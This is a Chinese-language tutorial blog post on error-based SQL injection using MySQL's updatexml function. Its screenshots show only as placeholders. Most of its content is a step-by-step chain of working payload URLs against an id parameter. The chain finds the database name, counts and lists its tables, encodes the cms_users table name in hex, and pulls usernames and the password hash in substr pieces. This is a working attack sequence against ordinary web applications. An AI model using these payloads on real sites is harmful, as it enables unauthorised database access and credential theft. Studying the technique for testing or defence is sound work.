使用SQL报错函数注入

SQL报错函数使用环境

在这里插入图片描述

使用updatexml 报错函数

updatexml是SQL语法的一个函数:
UPDATEXML(XML_document, XPath_string, new_value)
参数:
1: XML_document是String格式,为XML文档对象的名称,文中为Doc
2:XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
3: new_value,String格式,替换查找到的符合条件的数据。

在这里,我们利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上。
and updatexml(1, (concat('#',(payload))), 1) #
or updatexml(1, (concat('#',(payload))), 1) #

使用updatexml 报错信息弹到页面

显示数据库名字cm

.?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
在这里插入图片描述

数据表名

在这里插入图片描述

查询有多少张表

当前对应的表所在的数据库有多少张表(8张)

?id=33 and updatexml(1,concat(0x5e,(select count(*) from information_schema.tables where table_schema=database()),0x5e),1)
在这里插入图片描述

查询出第一张表

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x5e),1)

在这里插入图片描述

查询出第二张表

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x5e),1)

在这里插入图片描述

查询出最后一张表共8张表

?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e),1)
在这里插入图片描述
在这里插入图片描述

根据表名查出多少列

直接使用表名会有单引号’被转换情况编译报错 -->我们使用16进制的表名这样不需要加单引号

查询出cms_users表第一列的名称,不能多列展示

?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name=0x636d735f7573657273 limit 0,1),0x5e),1)
在这里插入图片描述
在这里插入图片描述

最后一列【userid username password】

?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)
在这里插入图片描述

根据列名查出对应的密码值
1 查询到密码展示不全-显示不全问题

?id=33 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1)
在这里插入图片描述

在这里插入图片描述

2 查询密码的长度

?id=33 and updatexml(1,concat(0x5e,(select length(password) from cms_users limit 0,1),0x5e),1)
在这里插入图片描述

3 先截取前16位密码

?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users limit 0,1),0x5e),1)
在这里插入图片描述

?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users limit 0,1),0x5e),1)
在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值